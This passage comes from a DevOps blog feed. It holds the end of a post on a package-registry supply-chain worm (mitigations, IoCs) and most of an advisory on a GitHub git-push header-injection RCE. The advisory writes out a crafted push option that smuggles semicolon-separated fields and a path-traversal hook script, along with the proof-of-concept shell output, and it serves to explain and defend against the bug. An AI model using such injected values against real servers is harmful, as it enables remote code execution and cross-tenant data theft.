yarn config <span class="hljs-built_in">set</span> ignore-scripts <span class="hljs-literal">true</span>
</code></pre><p>For Composer, audit which plugins are allowed:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;config&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;allow-plugins&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;specific/plugin-you-trust&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span>
</code></pre><p>For Python, scope CI installs to a hash-pinned <code>requirements.txt</code> and pass <code>--require-hashes</code>. That makes a swapped-out version on the registry useless because the hash will not match.</p>
<h3 id="h3-5-egress-allowlist-your-runners" class="group relative scroll-mt-24">
        <a href="#h3-5-egress-allowlist-your-runners" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Egress allowlist your runners
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-egress-allowlist-your-runners"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The only mitigation that catches the <em>next</em> one of these without you knowing the bad version is egress filtering. CI runners need network access to:</p>
<ul>
<li>Your VCS host (GitHub, GitLab, Bitbucket)</li>
<li>The package registries you actually pull from (npmjs.com, pypi.org, packagist.org)</li>
<li>Your container registry</li>
<li>Your cloud provider APIs</li>
</ul>
<p>Anything else, including arbitrary cloud-bucket downloads or random Bun-runtime mirrors, should be denied at the network level. That blocks the first hop of the exfil even if a poisoned package made it past every other control.</p>
<h2 id="h2-why-this-keeps-happening" class="group relative scroll-mt-24">
        <a href="#h2-why-this-keeps-happening" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why This Keeps Happening
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-this-keeps-happening"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is the third major install-hook supply chain attack in eight months. They keep working because:</p>
<ul>
<li><strong>Install hooks run before review.</strong> No amount of code review on a PR catches a <code>preinstall</code> script in a transitive dependency. The hook fires before any of your team has eyes on the new version.</li>
<li><strong>Lockfiles catch versions, not behavior.</strong> A pinned version is great until the upstream owner gets compromised and pushes a bad version under a new pin. Hash pins (PyPI&#39;s <code>--require-hashes</code>, npm&#39;s <code>npm install --ignore-scripts</code>, etc.) close that gap, and almost no team uses them.</li>
<li><strong>CI runners hold every secret your team has.</strong> They have to. That is the job. Which means a 30-second compromise of a CI runner is a months-long game of credential-tracing for the defenders.</li>
<li><strong>The blast radius is set by your trust graph, not the malicious package.</strong> Lightning has 10 million downloads a month. Anything that depends on Lightning is exposed. The number of orgs running ML pipelines that pull Lightning transitively is hard to overstate.</li>
</ul>
<p>The structural fix is some combination of sandboxed CI runners, hash-pinned dependencies, ignore-scripts by default, egress allowlists, and short-lived OIDC-issued credentials instead of long-lived tokens. You will not get all of those overnight. Pick one and ship it this sprint.</p>
<h2 id="h2-key-takeaways" class="group relative scroll-mt-24">
        <a href="#h2-key-takeaways" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Key Takeaways
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-key-takeaways"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li><strong>Pin off <code>lightning==2.6.2</code> and <code>lightning==2.6.3</code>.</strong> Same for <code>intercom-client@7.0.4</code> and <code>intercom/intercom-php@5.0.2</code>. Pin to the last known-good versions: 2.6.1, 7.0.3, 5.0.1.</li>
<li><strong>Hunt for the IoC.</strong> Search every GitHub org you control for repos described as &quot;A Mini Shai-Hulud has Appeared.&quot; Search SIEM logs for connections to <code>masscan.cloud</code>.</li>
<li><strong>Rotate everything in scope.</strong> GitHub, npm, cloud creds, kubeconfigs, Vault tokens, registry creds, SSH keys, every <code>.env</code> on the runner.</li>
<li><strong>Set <code>ignore-scripts true</code></strong> on your CI for npm and pnpm. Audit Composer&#39;s <code>allow-plugins</code> list. Use hash-pinned requirements for Python.</li>
<li><strong>Egress allowlist your runners.</strong> It is the only mitigation that catches the next one without you knowing the bad version.</li>
<li><strong>Audit your own published packages.</strong> If the worm got a token your team owned, your packages may already be downstream nodes.</li>
</ol>
<p>Mini Shai-Hulud is going to keep showing up under different names. The packages will change. The hooks and the credential exfil paths will not.</p>
<p><em>Sources: <a href="https://thehackernews.com/2026/04/pytorch-lightning-compromised-in-pypi.html">The Hacker News</a>, <a href="https://semgrep.dev/blog/2026/malicious-dependency-in-pytorch-lightning-used-for-ai-training/">Semgrep</a>, <a href="https://socket.dev/blog/lightning-pypi-package-compromised">Socket.dev</a>, <a href="https://www.kodemsecurity.com/resources/mini-shai-hulud-strikes-pytorch-lightning-and-intercom-client-inside-the-cross-ecosystem-supply-chain-attack">Kodem Security</a>, <a href="https://www.ox.security/blog/lightning-python-package-shai-hulud-supply-chain-attack/">OX Security</a>, <a href="https://www.aikido.dev/blog/pytorch-lightning-pypi-compromise-mini-shai-hulud">Aikido</a>, <a href="https://blog.gitguardian.com/three-supply-chain-campaigns-hit-npm-pypi-and-docker-hub-in-48-hours/">GitGuardian</a></em></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[CVE-2026-3854: A Single git push Owned GitHub]]></title>
      <link>https://devops-daily.com/posts/github-cve-2026-3854-git-push-rce</link>
      <description><![CDATA[A semicolon in a git push option let any authenticated user run code on GitHub.com's backend and on 88% of self-hosted GitHub Enterprise installs. Here is how the bug worked and what to do.]]></description>
      <pubDate>Mon, 04 May 2026 13:30:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/github-cve-2026-3854-git-push-rce</guid>
      <category><![CDATA[Security]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[security]]></category><category><![CDATA[github]]></category><category><![CDATA[ci-cd]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[cve]]></category><category><![CDATA[supply-chain]]></category>
      <content:encoded><![CDATA[<p>If you run GitHub Enterprise Server, the answer to &quot;are we exposed?&quot; is almost certainly yes. CVE-2026-3854 is a remote code execution bug in GitHub&#39;s git push pipeline that let any authenticated user with push access to a single repository pop a shell on the server. On GitHub.com, the same bug crossed tenant boundaries and exposed millions of repositories on the shared storage nodes. Researchers at Wiz reported it on March 4, 2026. The full technical write-up landed publicly on April 28, 2026, and Help Net Security followed up on April 29 with the headline that 88% of self-hosted GHES instances reachable on the internet were unpatched.</p>
<p>The exploit is one git command. No CVE-of-the-week phishing kit, no exotic protocol abuse. Just a push option containing a semicolon.</p>
<p>Here is what happened, why the bug existed in the first place, and what to do about it on Monday morning.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Detail</th>
<th>Info</th>
</tr>
</thead>
<tbody><tr>
<td>CVE</td>
<td>CVE-2026-3854</td>
</tr>
<tr>
<td>Class</td>
<td>Remote code execution via header injection</td>
</tr>
<tr>
<td>CVSS</td>
<td>8.7</td>
</tr>
<tr>
<td>Affected</td>
<td>GitHub.com (already patched), GitHub Enterprise Server &lt;= 3.19.3</td>
</tr>
<tr>
<td>Reported</td>
<td>March 4, 2026 by Wiz</td>
</tr>
<tr>
<td>Fixed on github.com</td>
<td>March 4, 2026 (within 75 minutes)</td>
</tr>
<tr>
<td>Public disclosure</td>
<td>April 28, 2026</td>
</tr>
<tr>
<td>Required access</td>
<td>Any authenticated user with push access to one repo</td>
</tr>
<tr>
<td>Impact (GHES)</td>
<td>Full server compromise, all hosted repositories, internal secrets</td>
</tr>
<tr>
<td>Impact (github.com)</td>
<td>Cross-tenant read access on shared storage nodes</td>
</tr>
<tr>
<td>Patched GHES versions</td>
<td>3.14.25, 3.15.20, 3.16.16, 3.17.13, 3.18.7, 3.19.4, 3.20.0</td>
</tr>
<tr>
<td>What you do</td>
<td>Upgrade GHES today, grep audit logs for <code>;</code> in push options, review the babeld changelog</td>
</tr>
</tbody></table>
<h2 id="h2-what-happened" class="group relative scroll-mt-24">
        <a href="#h2-what-happened" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Happened
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-happened"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>GitHub&#39;s push pipeline has four moving parts:</p>
<ol>
<li><strong>babeld</strong>, a git proxy that takes the user&#39;s SSH connection and forwards it inward.</li>
<li><strong>gitauth</strong>, the service that validates credentials and answers with security metadata (size limits, branch rules, hook config).</li>
<li><strong>gitrpcd</strong>, the internal RPC server that prepares the environment for downstream binaries.</li>
<li>The <strong>pre-receive hook</strong>, a compiled Go binary that enforces policy before the push is accepted.</li>
</ol>
<p>These services talk to each other using a header called <code>X-Stat</code>. It carries security-critical fields as semicolon-delimited <code>key=value</code> pairs. The format uses last-write-wins semantics: if a key appears twice, the second value wins.</p>
<p>That last sentence is the whole bug.</p>
<p>When you run <code>git push -o foo=bar origin main</code>, the value <code>foo=bar</code> is a push option. babeld embeds those user-supplied options into the <code>X-Stat</code> header as <code>push_option_0</code>, <code>push_option_1</code>, and so on. It did not strip semicolons. So if you pushed with a push option that contained one, you could break out of your own field and write a new field that downstream services treated as trusted internal metadata.</p>
<p>Wiz researchers chained three injected <code>X-Stat</code> fields into a clean RCE. Then they noticed an additional field that flipped the same exploit from &quot;GHES on prem&quot; into &quot;we can read other people&#39;s repositories on github.com.&quot; GitHub deployed a github.com fix in 75 minutes and shipped GHES patches the same day, but the disclosure window meant a lot of self-hosted instances spent two months running unpatched code.</p>
<h2 id="h2-how-the-bug-worked" class="group relative scroll-mt-24">
        <a href="#h2-how-the-bug-worked" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How the Bug Worked
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-the-bug-worked"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-the-x-stat-header" class="group relative scroll-mt-24">
        <a href="#h3-the-x-stat-header" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The X-Stat header
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-x-stat-header"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><code>X-Stat</code> looks something like this on the wire:</p>
<pre><code class="hljs language-text">X-Stat: rails_env=production;custom_hooks_dir=/data/hooks;repo_pre_receive_hooks=[]; push_option_0=foo=bar
</code></pre><p>Each field controls something the downstream services rely on. <code>rails_env</code> decides whether the pre-receive binary runs hooks inside a sandbox. <code>custom_hooks_dir</code> is the base directory hooks are loaded from. <code>repo_pre_receive_hooks</code> is a JSON array of hook scripts to execute. All three are normally set by gitauth based on the authenticated repo and its policies. babeld is supposed to add only the fields the user is allowed to influence (the push options), then forward the header to gitrpcd.</p>
<p>The problem: babeld copied user-supplied push option values verbatim into the header without escaping the field delimiter.</p>
<h3 id="h3-the-injection" class="group relative scroll-mt-24">
        <a href="#h3-the-injection" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The injection
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-injection"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Imagine you push with a crafted option:</p>
<pre><code class="hljs language-bash">git push -o <span class="hljs-string">&#x27;x;rails_env=staging;custom_hooks_dir=/data/user-uploads;repo_pre_receive_hooks=[{&quot;script&quot;:&quot;../../../tmp/payload.sh&quot;}]&#x27;</span> origin main
</code></pre><p>babeld serializes that into <code>X-Stat</code> as a single field:</p>
<pre><code class="hljs language-text">push_option_0=x;rails_env=staging;custom_hooks_dir=/data/user-uploads;repo_pre_receive_hooks=[...]
</code></pre><p>The downstream parser splits on the semicolon. It sees five fields, not one. Because of last-write-wins, the attacker&#39;s <code>rails_env</code>, <code>custom_hooks_dir</code>, and <code>repo_pre_receive_hooks</code> override whatever gitauth set.</p>
<h3 id="h3-the-rce-chain" class="group relative scroll-mt-24">
        <a href="#h3-the-rce-chain" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The RCE chain
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-rce-chain"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Three overrides combine to give code execution.</p>
<p><strong><code>rails_env</code></strong> controls the pre-receive binary&#39;s two execution paths. With <code>rails_env=production</code>, hooks run inside a sandbox. With anything else, they run directly as the <code>git</code> service user, no sandbox, no isolation.</p>
<p><strong><code>custom_hooks_dir</code></strong> points at the directory the binary loads hook scripts from. Set it to a directory the attacker can write to. Repository content uploaded as part of the push lives somewhere on disk; pick a directory under that root.</p>
<p><strong><code>repo_pre_receive_hooks</code></strong> is a JSON array of hook definitions. Each entry has a <code>script</code> field. Path traversal in <code>script</code> resolves the final path against <code>custom_hooks_dir</code> plus the traversal, which lets the attacker land it on any binary they have already managed to write into the repo.</p>
<p>The pre-receive binary then executes that path, no arguments, no sandbox, as <code>git</code>.</p>
<p>The end-to-end output from the Wiz proof of concept looked like this:</p>
<pre><code class="hljs language-text">$ git push -o &#x27;&lt;injected fields&gt;&#x27; origin master
remote: uid=500(git) gid=500(git) groups=500(git)
</code></pre><p>That is shell on a GitHub backend.</p>
<h3 id="h3-the-githubcom-twist" class="group relative scroll-mt-24">
        <a href="#h3-the-githubcom-twist" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The github.com twist
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-githubcom-twist"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>On GHES, the <code>git</code> user has filesystem access to all repositories hosted on the appliance. Game over for that customer. On github.com, an extra injectable field, <code>enterprise_mode</code>, decides which storage backend the pre-receive binary connects to. By forcing it to a specific value, the exploit landed shell on a shared storage node where the <code>git</code> user could read every repository hosted on that node. Wiz confirmed the cross-tenant access using their own accounts and reported it before testing further.</p>
<p>In other words, the same bug that compromised a single GHES appliance also crossed a multi-tenant boundary on github.com. That is unusual, and it is why the CVSS is high despite the &quot;authenticated user with push access&quot; precondition: on github.com, anyone who can register an account and push to a repo they created has push access.</p>
<h2 id="h2-are-you-affected" class="group relative scroll-mt-24">
        <a href="#h2-are-you-affected" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Are You Affected?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-are-you-affected"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-githubcom" class="group relative scroll-mt-24">
        <a href="#h3-githubcom" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          github.com
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-githubcom"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>You were exposed for some window before March 4, 2026. GitHub&#39;s forensic review concluded there was no exploitation outside the researchers&#39; own testing. No action required from your side.</p>
<h3 id="h3-github-enterprise-server" class="group relative scroll-mt-24">
        <a href="#h3-github-enterprise-server" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          GitHub Enterprise Server
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-enterprise-server"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Check your version:</p>
<pre><code class="hljs language-bash">ssh admin@your-ghes-host -- <span class="hljs-string">&#x27;ghe-version&#x27;</span>
</code></pre><p>If you are not on one of the patched releases below, treat the appliance as actively exploitable. Any authenticated user (including a user with access to one repo) can run code on it.</p>
<table>
<thead>
<tr>
<th>GHES branch</th>
<th>First patched release</th>
</tr>
</thead>
<tbody><tr>
<td>3.14.x</td>
<td>3.14.25</td>
</tr>
<tr>
<td>3.15.x</td>
<td>3.15.20</td>
</tr>
<tr>
<td>3.16.x</td>
<td>3.16.16</td>
</tr>
<tr>
<td>3.17.x</td>
<td>3.17.13</td>
</tr>
<tr>
<td>3.18.x</td>
<td>3.18.7</td>
</tr>
<tr>
<td>3.19.x</td>
<td>3.19.4</td>
</tr>
<tr>
<td>3.20.x</td>
<td>3.20.0</td>
</tr>
</tbody></table>
<p>Help Net Security&#39;s scan of internet-reachable GHES instances on April 29, 2026 found 88% were on a vulnerable version. If your GHES is exposed to the internet at all, assume someone has already fingerprinted it.</p>
<h2 id="h2-what-to-do-right-now" class="group relative scroll-mt-24">
        <a href="#h2-what-to-do-right-now" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to Do Right Now
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-do-right-now"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-1-upgrade-ghes" class="group relative scroll-mt-24">
        <a href="#h3-1-upgrade-ghes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Upgrade GHES
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-upgrade-ghes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This is the only real fix. Apply the patch release for your branch. The upgrade is a hotpatch on most versions, so it is fast:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># On the GHES appliance</span>
ghe-upgrade /path/to/github-enterprise-3.19.4.hpkg

<span class="hljs-comment"># Verify</span>
ghe-version
</code></pre><p>If you are more than two minor versions behind, do a staged upgrade through the intermediate releases. GitHub publishes the supported upgrade paths in the GHES upgrade docs; do not skip them.</p>
<h3 id="h3-2-audit-your-push-logs-for-the-ioc" class="group relative scroll-mt-24">
        <a href="#h3-2-audit-your-push-logs-for-the-ioc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Audit your push logs for the IoC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-audit-your-push-logs-for-the-ioc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The exploit requires a semicolon inside a push option. That is not something legitimate tooling produces. Grep the audit log:</p>
<pre><code class="hljs language-bash"><span class="hljs-built_in">sudo</span> zgrep -E <span class="hljs-string">&#x27;push_option.*;&#x27;</span> /var/log/github/audit.log* | less
</code></pre><p>Or via the audit log UI, filter for events of type <code>git.push</code> and search for <code>push_option</code> entries that contain <code>;</code>. Anything that matches is suspicious. Anything from before the patch date and from a user account you do not recognize should be treated as a confirmed compromise indicator, not a maybe.</p>
<p>GitHub also recommends checking for unusual values of the following X-Stat-derived fields in any internal logs you have:</p>
<ul>
<li><code>rails_env</code> set to anything other than <code>production</code></li>
<li><code>custom_hooks_dir</code> pointing outside <code>/data/user/git-hooks</code></li>
<li><code>repo_pre_receive_hooks</code> containing path traversal sequences (<code>..</code>)</li>
</ul>
<h3 id="h3-3-rotate-appliance-scoped-secrets-if-you-find-an-ioc" class="group relative scroll-mt-24">
        <a href="#h3-3-rotate-appliance-scoped-secrets-if-you-find-an-ioc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Rotate appliance-scoped secrets if you find an IoC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-rotate-appliance-scoped-secrets-if-you-find-an-ioc"
        >
